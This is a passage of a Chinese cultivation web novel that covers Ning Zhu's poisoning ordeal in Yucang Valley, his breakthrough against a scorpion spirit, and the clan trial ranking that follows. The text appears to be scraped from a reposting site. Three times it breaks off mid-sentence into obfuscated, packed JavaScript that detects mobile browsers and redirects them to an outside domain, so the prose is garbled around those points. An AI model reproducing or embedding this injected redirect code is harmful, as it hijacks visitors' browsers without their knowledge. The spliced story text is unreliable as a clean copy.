巨大的轰鸣中,就连宁竹都被那爆开的火环轰得站立不住,少年控制不住身形地被弹飞开来,整个人撞倒在了树干上,他的表情不受控制地扭曲了,咔嚓的几声骇人的声响在宁竹耳内响起,不知是他断了骨,还是身后的树被砸得裂开。 疼痛。 宁竹脸上血色全无,他反手撑住了树干,借力将自己送至树后,照明珠悠悠地飘来,宁竹还想探头看树后那被火焰吞噬的黑雾,可下一瞬,他眼角余光瞥见自黑暗中探出的狰狞人脸。 它张大了口,似乎要将宁竹整个人吞入其中,滚滚黑烟带着火焰的余热被“呼”出。 宁竹汗毛炸立,仓促间已然来不及闪避,他只能调动最后的灵力将自己包裹,黑雾猛地穿透了他。 异香。 让人不安的奇异香气充斥着宁竹的整个鼻腔,甚至在烈火的灼烧过后,隐隐透出了些许木头熏烤后逸散而出的木脂香气。 浓烈得几乎要教人醉倒在这黑雾之中。 宁竹整个大脑犹如针扎般疼痛,他尽力去捂住口鼻,可那毒气仿佛能隔着皮肤渗入血管,宁竹感觉到了晕眩,眼中已然出现了五彩的光斑。 那团雾在他的视野中不断变化着形态。 植株。动物。人。 宁竹的视线扭曲了,又或者是那黑雾扭曲了,它开始变成宁竹无法理解的模样。脑袋是盛放的花的人形,挥舞着人手的虎豹,叶片上长满人脸的树。 晕眩。恶心。 宁竹几乎要吐出来,可他喉结几下滚动,什么也没有。 不。 不能倒在这里。 宁竹强撑着一点眉心,灵力化作长针刺入,强迫他抢回最后一丝清明。 眼中混乱的光斑中突然映入一丝违和的光彩,大片大片的绿盛开,与眼前那扭曲形变的景物重合了,仿佛撕下了某种伪装。 宁竹突然一滞,片刻,他低低笑起来。 ……是毒啊。 他把头埋进了自己的掌心之中,榨干最后的一点灵力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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而他身前不远处,一株红得几若血染的植株轻轻摇摆枝叶,顶端,紧挨着的众多花朵大盛绽放,将整棵植株的顶端都包裹成血色。 白雾从花蕊中飘开,浓厚而阴冷的异香便是由此传出。 灵植。 宁竹苦笑。 三阶……剧毒灵植:血粟。 这次郁苍谷之行,所有人拿到的卷轴中,标注的灵植最高也才二阶,而光是二阶灵植,在外界就已经是足以掀起血雨腥风的稀世珍物了。 此刻,他眼前这株妖异的花,竟是佣兵们口中只存在传说中的三阶灵植。 那株血粟轻轻晃动着身躯,叶片摇晃间充满了难言的蛊惑,仿佛在邀请宁竹将之采摘而下。 宁竹心有余悸地移开视线。那株花下,一只巨大的蝎子骸骨同样流转着骇人的光彩。 或许是这朵血粟的守护兽,又或许是试图摘下血粟反而成了血粟养料的倒霉蛋。 宁竹联想到那株异变白叶参,和那形态同样诡异的狼头。 这郁苍谷已经远超了宁竹所理解和认知的范围了,此刻宁竹唯有敬畏之心。 他撑着让自己站起,最后看了一眼那株灵植,他按下心中的悸动,旋即转了身,头也不回地走向那根竹棍。 灵植固然稀有,但它并不能成为宁竹的首要选择,何况宁竹最不缺的就是自知之明。 现在,他要离开这里。至少得到光幕边缘去。 然后…… 用化灵散,破了那两条阻碍他三年之久的灵脉。 22.节外生枝 来不及疗伤,来不及休憩。木牌不在身侧,宁竹就连现在究竟是什么时分都分辨不出来。 今日的白昼还剩多长时间?宁竹不知道。 他忍着胸腔传来的剧痛,一瘸一拐地走向巨大的光幕边上,这光幕此刻反倒是给他带来了不小的安全。如果用光幕将这片区域圈为禁区,就能保全他们在外边活动而不会被这内里的怪异生物所伤,那也是变相说明了,这层光幕的确是起到了阻隔作用。 宁竹跌坐在光幕边缘,他探出的手穿过了光幕,仿佛触碰到一层柔软的纱。 他低低地咳嗽一声,又收回了手,艰难地调整了坐姿盘膝而坐,是最为标准的修炼坐姿。 白玉瓶从吊坠中取出,落在掌心上,似乎还带着烈火的余热。宁竹有些复杂地看着白玉瓶,视线抚过其上每一道纹路。 实际上,他这一瓶特调过的化灵散已然和当初他偶然接触过一次的化灵散没什么关系了。 原版化灵散的配方他没见过,但他猜大概是用不到毒这种东西,而他调制的低配版,用了少量毒来达到原版的消解功效。现在,他给自己配的这一版,除了温养身体疏通经络的白叶参,其余的,全是毒物。 宁竹并不否认这是自损八百的做法。 但他宁可自损,也不愿意被这莫名其妙的血脉天赐牵着鼻子走。 他的人生应当属于他自己。 而不是在这所谓的世家大族中,被当做人偶操纵着走上他们规划的道路。 一片叶子恰恰好在此刻从树枝上脱落,它悠悠地飘荡下来,落在宁竹手上。宁竹抬起头,穿过茂盛的树叶,隐约看得见明亮的天光,风起,枝叶便轻晃。 宁竹突然笑了。 他有多久,多久——没有漫无目的、随心所欲地漫步在山林之中了? 宁竹打开了木塞。 浅淡的苦涩气味还残留着火焰的温热,宁竹把那瓶化灵散举起,抵在唇边。 如果真的能成,他要离开宁家,他要再去山林间走走,去触摸、去感受,他久违的……自由。 宁竹一仰头,喉头滚动,苦涩的汁液充斥满他整个口腔,瞬息之间吞饮而尽。灵力见底倒是阴差阳错地催使了化灵散更快发挥其功效,化灵散迅速被身体吸收,很快,蚀骨的疼痛开始攀上宁竹的意识,少年闷哼一声,他手一抖,白玉瓶当啷一声砸落在地,碎片飞溅。 宁竹管顾不上,他闭眼,意识内观,强迫自己催使灵脉的涌动。 他本就惨白得毫无血色的脸色此刻更是隐隐有些乌色透出,大量的冷汗打湿他的鬓发,黏在脸上,更衬得脸色极差。他蹙起的眉头不受控地有些抽搐,颈间更是青筋暴起,突突直跳。 疼。 即便已经在方才疼得几乎已经知觉麻痹,此刻宁竹也不得不承认自己低估了化灵散的毒性。痛如蚁群噬肉,疼如荆棘刮骨。宁竹感觉自己的每一根血管都在哀鸣,每一条神经都在尖叫,他的耳朵里满是尖锐的嗡鸣,剧烈的疼痛几乎攥住了他的心脏,叫他难以喘息。 两道灵脉被疯狂催动,然而运转间吸取的灵气还没能被炼化,在体内乱窜的毒素便如同闻到了肉香的鬣狗一拥而上。 ……疼。 宁竹浑身疼得发抖,毒素每蚕食一点灵脉,宁竹便感觉自己的心口生生被剜去了一块肉。 纵使他百般抵触着灵脉,可它终究是长在他身体里,与血脉交织在一起的、属于他的一部分,如此剧痛之下,他还强硬地支撑着意识,引导着毒素更一步侵蚀灵脉。 恍惚中他似乎听见了水流奔涌的泣鸣,听见火焰呼啸的哀泣。 狂躁的毒素在他体内横冲直撞,即便宁竹有意进行了引导,过于霸道的毒素还是令得他的经脉出现了一定损伤。 宁竹唇角渗出了一抹乌紫的血。 紧接着,更多的血液溢出七窍,顺着宁竹的脸庞缓缓滑落,坠向地面。 啪。 只一滴,狂暴的毒便令得宁竹身下的草木瞬间蜷缩枯萎,含在血中的毒素甚至蔓延开来,以至于那一小滴血周围一圈的植株都出现了不同程度的颓势。 灵脉同样在毒的攻势下出现了萎靡之势,宁竹的意识里,两条灵脉的光亮已然黯淡,染上了乌紫的毒素,正一点一点的萎缩。 ……快成了。 宁竹双手死死地抠着自己的膝盖,指甲隔着衣物嵌入肉中,撕开几道血肉模糊的痕。 坚持……再坚持一下。 宁竹喉头滚动,在犹如极刑的苦痛之中保持着最后一丝清醒,反复地强迫自己的大脑不向痛苦妥协。 眼看最后一丝亮光将被毒素蚕食,意外却在此刻横生。 ——嗡! 紫色光点势如闪电,自禁区深处猛地飙射而出,直直穿刺了宁竹的心口! 宁竹早已混沌的意识在这猛地一下刺痛中惊醒。他双眼猛地睁开。这剜肉剔骨之痛已然麻痹了他的知觉,他以为已经没有任何痛楚能再唤醒他的意识之时,新的痛苦如一枚锋利的钉子砸穿他的脑海,宁竹眼中血红一片,他应当疼,可现在他感觉自己浑身发冷。 世界在他眼中扭曲、形变,黑斑侵蚀他所视的一切。 那抹将他穿刺的紫影似乎渗入了毒素之中,原已快消耗完的毒素猛地翻涌起来,那一小团毒不断扩张,宁竹的意识中,从原先仅剩的指甲盖大小在瞬息之间翻涌成了巴掌之大,疯狂地蠕动着,隐约生长了蝎子的模样。 ……蝎子。宁竹脑子闪过了那株血粟之下的蝎子魔兽。他想笑,可被疼僵了的肌肉令他连微微扯一下嘴角都做不到了。 会死在这吗? 宁竹的意识已然开始消逝,少年睁开的双瞳之中蒙上了一层灰寂。 ……不。 宁竹喉中腥甜一片,涌出的血又被他吞咽而下。 他不想死。 ——他不愿意就这样死去。 少年喉间爆出低哑的嘶吼,他混沌的意识猛地被一道金光劈开,于是如盘古开天,浊清自分。 宁竹猛地扼住了自己的胸膛,不知从何处迸出的灵力堵住了被洞穿的心口,汩汩涌出的血被灵力包裹,血肉开始疯长,灵力开始飙升。 嗡!! 两道灵脉猛地一震,附着其上的乌黑毒素在大盛的光亮下节节溃败。 大量的灵气猛地朝宁竹奔袭而来,几乎在宁竹周身卷起一道属于灵气的飓风。 那两道灵脉似乎活了过来,在宁竹的身躯中游走,直赴那块形如蝎子的毒斑。 铮! 剧烈如金属震动的嗡鸣之下,蝎子似乎还想抵抗,它挥舞着螯肢意图钳断灵脉,可灵脉的灵活程度远超宁竹的意识,更远超蝎子的反应速度。 一红一蓝两道灵脉如锁链强硬蛮横地穿刺了蝎子的身体,仿佛是要报之前那一刺之仇,灵脉疯狂地缠住了蝎子,牢牢锁住硕大的螯肢与蝎尾,宁竹几乎听见了蝎子的怒吼,它愤怒地挣扎着,却怎么也挣不开灵脉所形成的绳索。 “嗬——” 少年喉中挤出如野兽的嘶吼,被疯狂吸收的灵气填补他被震碎的经脉,灵气风暴之中,少年的人影再看不见。 旋即,一声嘹亮的龙鸣传荡整片郁苍谷! . “吼——!!” . “什……” 宁长青猛地一滞,他舞出的长藤在半空凝滞动弹不得。他还来不及回头去看宁兰之一眼,便从对面的宁轲眼中看到同样的惊恐。 下一瞬,所有人的木牌都爆裂开来! 清脆的爆鸣如鞭炮一声挨着一声。激昂的龙吟震得所有人都意识恍惚,剧烈的不安笼罩每个人的心头,几乎没有人顾得上思考,又或者是在这龙吟蕴含的强烈威压之下散失了思考能力。 他们身形便在这剧烈的波动中虚幻,眼前景象扭曲模糊,旋即脚下属于草木的触感已然被坚固的石板替代。 他们跌落在广场之中,更有甚者身形一晃,已然脱力地跌倒在地。 宁星云心有余悸地抱住宁兰之的胳膊,她双腿有些发软,全身大半的重量都倚在宁兰之身上才勉强站住了。 “兰之姐……你、你听到了吧?” 她的声音不受控制地发抖,那份威压实在太过恐怖,只是稍一闭眼,脑中便强制回放起那令她胆寒的怒吼,她紧紧握着宁兰之的手,汲取她的体温温暖自己冷得似冰的指。 “好恐怖、好恐怖……那到底是什么……” 宁星云反复喃喃着,而被她撑着的宁兰之同样没好到哪里去,她一张脸白得血色全无,勉强硬撑着不倒下去。 宁兰之环顾四周,早被淘汰出局的人显然并不知道里面发生了什么,正满脸迷茫地看着他们这群一齐被传送出来的。 出乎意料的是,郁苍谷里剩下的两个高修为单灵脉,宁长青和宁轲,直接瘫坐在了地上,脸上皆是惧色。 宁巫眼疾手快把宁轲捞了起来,宁兰之倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686460|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有心拉宁长青一把,可身边的灵阵师把她抱得动弹不得,只能放任宁长青自生自灭。 “怎么了、怎么了,里面发生什么了?” 宁鲤围了上来,撑住了宁轲另一半的重量,他已经做好了被甩开手的准备了,可此刻宁轲眼里只有惧色,居然对他的接触没有半分抵触之意。 他茫然地望向宁巫,却只见少女张了张口,半晌没吐出一个音节。 大抵宁巫是想解释的,可兴许是冲击太大,她一时组织不出来语言,只得望向人群中心面色铁青的轩队。 “怎么了这是……” 早被淘汰的人找寻自己相熟的伙伴问话,却无一人能对此做上回答。 广场上乱做一片,只见人群中的带队者双手结印,浮现在空中的繁杂阵法亮了一会儿,很快又暗淡下去,灵力消散。 轩队的脸色更差了。 “……宁竹。”宁兰之突然开口。 宁星云没听清,她追问了句什么,便看见宁兰之煞白的脸色:“少人了……宁竹、宁竹没出来……” 瘫坐在地的宁长青听见了,他浑身一颤,着急忙慌地去摸木牌,宁竹的木牌和他的木牌放在一起,此时,两块木牌都碎裂开来,隐约还能见得几块碎片能拼凑出一个竹字。 他的木牌碎了,可人却没有出来。 宁长青顿时感觉浑身的血液都结冰了,疯长的冰棱刺穿他的四肢百骸,他几乎听不见了心脏的震动。 轩队望了过来,她蹙着眉,显然,她也并不清楚这是什么情况。 一道金光在轩队眉心闪过,宁星云没错过这一闪而逝的微妙波动,她拽住了宁兰之的手,凑到她耳边低声道:“长老传密信来了……” 宁兰之紧紧盯着轩队的脸庞,轩队听到了长老的吩咐后,脸上的表情凝滞一瞬,旋即她揉了揉自己发僵的脸,转头朝着人群大声宣布:“今年情况有变,郁苍谷之行提前结束,积分正常结算!” 她话音刚落,执法队的人便涌了上来,把瘫坐在地上的几个都架了起来。 其他人根本没能从那声龙吟里蕴含的恐怖威压中走出,只呆呆地听着执法队的指示,从手环中取出各异的草药交由执法队送往结算。 宁长青同样被捞了起来,他愣愣地看着面前的人。 “不对……”他喃喃着。面前的人并不催他,相反,很是关切地询问着他是否需要休息,可宁长青却像是半个字都没听进去,他又重复了一声:“不、不对……” 他猛地抬起头,直视人群中心的轩队,他的音量生生拔高了八个度:“不对!宁竹还没出来!” 所有人的视线都投向了宁长青,人群躁动哗然。 . 宁轲被他这石破天惊的一声怒吼拽出了混沌,他看向声音来源,宁巫见他有了反应,便轻轻碰他一下:“老大。” “……少人了?” 宁轲低声询问,得到了宁巫肯定地点头。 这是大事。过往十几二十年,从未出现过家族试炼结束少了人的情况。 宁轲愣了又愣,一时不知该表现出喜还是悲。 . 另一侧被宁竹所淘汰的宁煌眉头同样紧蹙,他哼了一声,站在他身侧的宁瑞便回错了意,他哼哼唧唧地宣泄着恶意:“死里面了才好。” 他还没说完,便重重地挨了宁煌一拳,一时间茫然无措了起来。 . 轩队望着宁长青。 少年的脸上愤怒混杂着惊恐与不安,眼瞳都有些轻微的颤抖。他分明也怕得很。 “……长老们已经派人进去接他了,很快会就出来。” 轩队的声音似乎又恢复了往常的平静,她的声音仿佛有某种魔力,让所有慌乱不安的人都在她这一声里松开紧绷的神经,就连过快的心跳都逐渐恢复平稳。 宁长青还想说话,被宁兰之拦住了。 轩队说谎了。宁兰之看见了她无意识握紧的拳头。是没有派人去找,还是……并不能保证把宁竹完整接出来?宁兰之不敢想。她的指尖冰凉一片,被宁星云紧紧握住了。 “……没事的,兰之姐……”宁星云低声安慰她,“起码、起码他还有少族长呢不是吗……” 宁兰之苦笑一声,她在执法者行至她面前时,干脆地把整个手环摘了下来,递给对方去翻找。 宁竹…… 她在心里默默祈祷。 你一定、一定要平安归来啊。 23.不甘 宁竹感觉自己正在下坠。 他似乎坠入了一片不见底的深潭之中。冰冷,无止尽的冰冷,他的手挥出去了吗?他的口张开了吗?他不知道。冷意从四面八方挤压着他,又或许这股冰寒自意识中蔓延,他似乎依然脱离了那具沉重的躯壳。 黑暗构成摇篮,将他拥入怀抱,他什么也看不见,什么也感受不到。 睡吧、睡吧。 谁在同他低语?宁竹恍惚中想,是入夜了吗?他猛地惊醒。不对、不对——郁苍谷的夜不会连身体都感觉不到,不对——他似乎抬头了,于是黑暗中骤然炸开一点炫目的光,是他在下坠还是那光点在远离他? 光点越来越小,几乎要被黑暗碾碎。 疼痛。宁竹想朝那点光亮游去,可身体在此刻与他的意识完成了链接。疼。 宁竹胸口一钝,器脏抽痛,他应该停下,但危机感尖叫着拉响警报,他不能停,也不应该停。 宁竹挣扎着,那点光又倏地在他眼前放大了,他的手指应当是在颤抖,他不知道,他的手指触碰到了那点光,于是大盛的光亮将他吞没,却没有想象中的刺痛。 那光何其柔软,轻缓地抚过他千疮百孔的意识,宁竹在一片白茫中睁开眼,突然有了落地的实感。 这是什么? 宁竹看向自己的手。 说是看并不准确,说手更不准确,实际上宁竹感觉到此刻的自己如同一团无法凝聚的气,于这片空白世界之中站立。 奇怪,奇怪。 宁竹“回过身”,于是他看到了,那只巨大的蝎子不断扭动身躯,它的每一块节肢都在挣扎,硕大的钳肢想要打开,它发狂地想要钳断身上那红蓝两色所构建而成的铁索。 但无论它怎样动作,将它贯穿的铁索始终牢牢锁住它,宁竹甚至听到了它的怒吼与哀鸣。 它实在太大了,宁竹在它身前,甚至还没有它的钳肢上突出的一小块棱角大,以至于蝎子疯狂挣扎中舞出的劲风几乎就要把宁竹吹散。 宁竹愕然,他静静地打量着这只巨大的蝎子,铁索似乎发觉了他存在,于是传递出柔和的讯号,旋即,被铁索贯穿的蝎子也发现了这道意识。 “是你、是你——!” 它大叫起来,尖锐的声音仿佛锐器划过琉璃,瞬间冲击得宁竹意识空白一瞬,他胸口骤然一痛,宁竹下意识想去抹掉溢出唇角的血,却摸了个空。 宁竹后知后觉地发觉到自己没有实体。 或许他的身体的确从此重创,但现在他感知不到。 那只巨大的蝎子又一次发狂地挣扎起来,这次宁竹甚至看到了它的躯体上亮起了大量乌紫的纹路,它弓起的尾巴奋力朝宁竹刺来,紫色光芒在他尾尖上凝聚,宁竹眼底倒映着瞬时放大的紫色光点—— 唰! 不知从何处刺出的铁索贯穿了它的尾巴,蝎子发出一声狂暴的怒吼,尾巴尖就这么在宁竹身前半尺之远的位置定住,而蝎尾上的紫芒已然消散。 宁竹无法理解眼前的景象一分一毫,他愣愣地看着那只口吐人言的蝎子在铁索的控制下逐渐失去了挣扎的气力,被铁索捆束着,紧压着伏趴下,它的足肢还在颤抖,它不甘地想要站起,但显然,它的力气不足以支撑它与那铁索对抗。 “放开我!人类崽子——人类、混蛋——放开我!” 它还在狂暴地怒吼着,双眼紧紧盯着面前渺小的人类。 如果恨意有实体,宁竹此刻已然被千刀万剐。 宁竹滞涩的意识终于开始运转。蝎子——他见过啊,那株血粟之下干瘪的蝎子残骸。他仔细去辨认,便从它颤抖的钳肢上看到了残骸上相似的奇异纹路。 “是你……” 宁竹眼神一凝。早年他也从佣兵们口中听闻,有些高阶魔兽有一种假死手段,看似躯壳都腐烂了,实则意识还留存在兽核之中,等待着,侵入找到兽核的人或兽,打散对方的魂魄,随即将对方的躯体据为己有。 宁竹打了个寒颤,心头一阵后怕。 郁苍谷活动区的平和还是麻痹了宁竹的危机感,他错误地低估了禁入区的危险性,只差一步,或许他就丧命于此。 可是,可是——他当时已经没有了任何防御能力,是什么救下了他? 他望向蝎子身上的铁索。 那两道铁索呈红蓝二色,分明还没有蝎子一只足肢粗大,却死死地将它压制了,令得蝎子动弹不得。 ……这是什么? 宁竹心念刚一闪过,铁索便感知到了他的意识一般,柔和的灵力再度向他释放。 宁竹浑身一僵。 ……灵脉。 他突然有些无措。化灵散没有作用,他的灵脉没有被摧毁,而他的灵脉又在危急关头替他挡了灾。 宁竹混乱之中的意识逸散开来,延展的触肢似乎触碰到了什么,旋即,空白的世界有了形状与边界,他的意识回归了身体中,于是宁竹迟钝地感觉到了疼痛,感觉到了灵力的充沛。 散气九段……巅峰。 只差最后一步,便要凝源聚气。 宁竹唇角牵起一抹苦涩。 ……而他的身体中,此刻只有水火灵脉带来的水火灵力。 他费劲心力炼化的木灵力彻底消耗殆尽,丹田里再无一丝空隙能让他再度炼化存储木灵力。 所以,大费周章的结果是竹篮打水,一头撞在南墙之上换来的是巨大的麻烦。宁竹忽的感觉眼前一片灰暗,他唇角牵起的弧度僵硬,他应当笑吗?……他笑不出来。 他看向那两道将他守护的灵脉。 所以,他应当认命吗? 宁竹缓缓阖上眼,他的意识终于回归了他的身体里。他再度睁眼时,眼前已不再是那诡异的空白世界,没有那只巨蝎,没有那两道灵脉。 受此重创,他的身体理应是糟糕的,可反馈给大脑的正相反。 他的身体感觉到了前所未有的充沛,被化灵散所侵蚀而萎缩的经脉也被灵脉吸收的灵力所打通,他感觉自己身体轻盈,甚至可以用舒畅来形容。 宁竹垂下眼,身下枯萎的草木无声地向他哭诉,印证着他先前所经历的一切并非一场白梦。 宁竹伸了手去碰触。 草木蜷起的枝叶在宁竹掌心里颤抖。悲伤,痛苦,愤怒……草叶上繁乱的纹路与宁竹的掌纹紧紧相连,细微的情感便同这两张连结的网传递。 它在,不甘。 那极小极小的波动映入宁竹的脑海中,便如同石子入了水,渐起的水花终会消散,可涟漪一圈一圈泛起,这潭冻结的水没有回归平静,那涟漪不断翻涌,水面已然掀起波涛。 宁竹不甘。 他对草木的亲和力没有因为木灵力殆尽而受到影响。 他还没有完成凝源。 还能再来。还没有走上绝路。 宁竹缓缓捂住自己的心口,指节碰触到颈间垂下的吊坠。 他不甘心。 他不愿意。 宁竹深深地吸了一口气。他握住了那枚吊坠,力度之大令得手背青筋暴起,棱角分明的竹叶便也在他掌心里扎出血点。 失败?不,这不算。这只是尚未成功。 他的失败只有一条道路会通往。 那便是他向命运低头的那一刻! 宁竹猛地站起身,他抬起头,如深渊般不见底的墨瞳中闪过一缕璀璨的金光。 . 少年的瞳孔倒映着面前的场景。 此刻的郁苍谷仿佛被飓风席卷而过,似乎本就是一片一片黏合在一起的空间此时原形毕露。 它们在黑暗中漂浮,有的地块在黑夜中;宁竹看到浓稠的黑雾将地块包裹起来,有的地块则处于白日,宁竹能看到其上笼罩的灵气比例;一棵巨大的树在地块边缘生长,它生生被劈开了,另一半枝干在几丈远的地块上摇曳的枝叶。 眼前混乱非常的景象若是同外界任何一人诉说,都要被对方质疑是否脑子出了问题,宁竹理应感觉到震惊,可现在已经没有任何怪异的事与物能撼动宁竹了。 他环顾四周,看了最后一眼郁苍谷。 他往后退了一步,身体触碰到那片还未消散的黑色光幕,旋即,亮起的符文阵法将他吞噬,宁竹眼前一花,脚下柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726068|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软的泥土触感被便石砖取代。 . “宁竹!” 少年身形还没站稳便骤然有人扑了上来,宁竹措不及防被撞了一个踉跄,他身形一晃,险些没揽住对方的身体。 鬼门关上走过一遭之后,宁家这他向来不喜欢的环境也带来了微妙的安全感,古朴的建筑依旧是那般坚固高大,去是笼罩顶上的阴云早已散去,此刻阳光明媚温暖。 宁竹紧绷的脊背悄然放松下来,他环顾四周,而周遭所有人都紧紧地盯着宁竹。 眼神或惊愕,或欣喜,或厌恶。 “松开,长青,我喘不过气了。”宁竹无奈地拍了拍死死将他抱住的宁长青,对方闻言不仅不放,还抱得更紧了。 “你吓死了我们了你知不知道!不行,不行不行,宁竹,你得陪我精神损失费!” 宁长青吱哇乱叫,宁竹从他玩笑一般的语句里听到了些许轻微的哽咽。 宁兰之习以为常地把这只大型挂件往下扯,她说:“你没出事就好。” 她是笑着的,可宁竹听到了她话里松了一口气的疲倦。 宁竹心口稍暖,他一时不知道说些什么,只得回以微笑。 视线一转,宁竹对上了轩队的视线。人群中高挑的青年同样紧盯着他,作为此行的带队人,也是直接负责人,轩队的惊愕不比其他人少,可她却不能像其他人那样直接问出声,长老传来的密信要求她将此次异常圆过去,她便不能暴露她不知晓任何状况的实情。 她顿了顿,道:“归队吧。” 宁竹点头,紧接着被宁长青勾住了肩,往灵植院的方向走去。 行为举止间俨然是一副把宁竹圈进了自己人范围的姿态,还想嘀咕的人见状,识相地止住了话头。 八卦什么时候都可以说,当着正主的面也未必不是不能说,但宁长青是灵植院长老亲传,他这般护着宁竹,便也没有人会在此刻去找宁竹的不快了。 身前的少年们脸上情绪各异,而领队者看似毫无波澜,实则藏于身后的手捏诀,密信同样传出。 她面上没有露出任何波动,只继续宣布:“今年情况有特殊,但奖励照常,积分已完成结束,现在公布前三名。” 她逐个点名。 “宁长青。” 宁竹身侧的少男绷着一张脸,没露出什么表情变化,但藏在身侧的手还是小幅度地挥了下拳,显然不似表面伪装的那般冷静。 “宁巫。” 宁竹眉头一挑,他看向和宁轲并肩而立的少女,她脸上露出几分讶异,似乎是清楚自己的积分并上能排这么高的位置,她侧头去看身侧的宁轲,而宁轲只直线前方,丝毫没有解释的意图。 同样看过去的不止他,还有周边好一圈的人,似乎都同样讶异,排在前三的人居然不是宁轲,而是他身边的这个跟班。 “宁星云。” 下一个被点名的人就站在宁竹身侧不远处,宁星云高兴地静音鼓掌,或许是没想到自己还能捡了漏挤上前三,少女眉目间喜色言溢于表。 宁兰之侧过头去,小声道了声恭喜。 “奖励正常结算,依名次领取。” 轩队说完,就要展开此次郁苍谷之行所有收获的草药以供挑选,宁竹却突然开了口:“还有我呢。” 周遭所有人的视线再度凝聚在宁竹身上。 就连宁长青与宁兰之脸上都闪过了几分惊讶。 轩队手上一顿,她面色不改,道:“兰之和长青帮你提交了。” 宁竹问:“积分不够?” 轩队淡然回道:“不够。” 宁竹笑了笑。 他伸出了手,手环上光彩流转,那株异变的灵植便稳稳落入他的掌心之中,只一现身,周遭的气温似乎都跟着下降了几分。 “异变灵植!” 人群中不知是谁惊呼出声。 有人的视线变得灼热,也有人的视线因此变得锋利,恨不得凝聚成刀将宁竹握着白叶参的手砍断。 宁竹视线灼灼,紧盯着眼神同样有了变化的轩队,他朗声问:“加上这株呢,够吗?” 24.瞩目 此声音一出,先不提周围其他人,就连一侧的宁长青都傻了眼,表情扭曲得怕不是为了顾及颜面早惊叫出了声。 这可是灵阵之后拿到的!本来就属于他,为什么要舍弃这么个好东西去抢名次?! 宁长青慌得使劲捏了捏宁竹的小尾指,意图提醒他点什么。宁竹面上表情如初,只轻碰了一下宁长青的手,示意自己知晓。 毕竟,当宁竹把异变灵植拿出来的那一刻,这株灵植便无论如何都不属于他了。 轩队倒似乎很清楚这种东西从何而来,她表情不变,眼底流露出了几分奇异的光彩,她破天荒的,第一次没按公事公办,而是朝宁竹确认:“异变灵植是破阵级别的奖励,你确定?” 宁竹不带半分犹豫地点了头。 既已确认,那无论宁竹是否清楚她这一问的用意,都没有二次询问的必要。 轩队视线一转,不远处接到眼神指示的执法者便走上前来,从宁竹手中接过了这株异变灵植。 所有人都目光灼灼地盯着这株散发的浓郁灵力的植株,在众多执法者的包围下,少年们表情各异,小声交谈的话语交叠在一块,似乎织成一张网,网住了成为视线中心的宁竹。 宁星云到底没忍住,她“嘶”了一声嘀咕:“他疯了吗?” 她声音不大,但离她很近的宁兰之还是清楚听见了,宁兰之有些忧心地看着宁竹。 另一侧的宁轲脸色极其难看,黑得仿佛能渗出墨汁,他紧紧地盯着那株被执法者收走的异变灵植,眼底尽是恼羞成怒之色。 他身上不少伤都只是进行了简单的表面治疗,此刻那些伤口都隐约疼了起来,似乎是在提醒他如何大意轻敌一般,他眼前有些看不清了,灰暗之中,争夺那株白叶参的情景又一次在他视线中浮现,疼得他紧紧攥住了手,指甲在手心掐出新的伤口。 他这一身的伤,有多少来自这白叶参争夺,宁竹这混蛋居然就这么把它上交了?! “鼠目。” 他身侧的宁巫“啧”了一声,低声骂了一句,将宁轲从愤怒的裹挟中拽了出来。 宁轲听得顺耳,连带着伤都不那么痛了。 . 红发少年看过来一眼,他唇角边露出一丝微妙的笑意,也不知是在笑宁竹此举的短视,还是嘲笑宁轲做了小丑。 毕竟——他二人破灵阵的时候,宁煌可就在当场。他亲眼见了宁轲交代了一颗火源珠,之后又在与他、与狼头的搏斗中接连消耗了几颗灵石做盾。 结果不仅灵植失之交臂,兽核也没能挣到手,最后还负了一身伤。 这话说出去,任谁见了宁轲都要背后嘲笑上一阵。 思及此,宁煌连被宁竹设计淘汰的事都顾不上恼怒了,他唇角微弯,一副心情极好的模样。 他又转过视线,看向连凝源都未能突破,却设计了他将他淘汰出局的少年。 宁竹一身衣袍多处破损,血污与烟尘一并为衣袍着色,衣摆袖口被烈火烧灼得焦黑蜷起,他应当是狼狈不堪的,可少年身姿挺拔,一双眼如辰星熠熠。 他只是同轩队对视着,仿佛外界的嘈杂都没有传入他的耳中。 宁煌突然心头一跳,他恍惚中有些预感。 ——或许这家伙,会在日后给他带来不少麻烦。 . “报告轩队,积分重新结算完毕!” 执法者毕恭毕敬地朝轩队汇报,轩队微微颔首,那执法者便站到人前,大声宣布:“现在重新宣布排名。第三,宁巫。” “我去……”宁星云一下骂出了声,刚才光顾着震惊了,此时她才反应过来,宁竹积分上来了,那排在第三的她第一个遭殃。 她愤愤地隔空挥舞了几下拳头,被宁兰之按住了手。 宣读还在继续,但第一和第二已经在不言之中了。 “第二,宁长青。” 宁竹的异变灵植本就是万中无一的罕见之物,品相又好,此刻一跃压在所有人之上,倒是两人皆有预料。 宁长青笑了一声,他拍拍宁竹的肩,又突然发力把他推出去了一步。 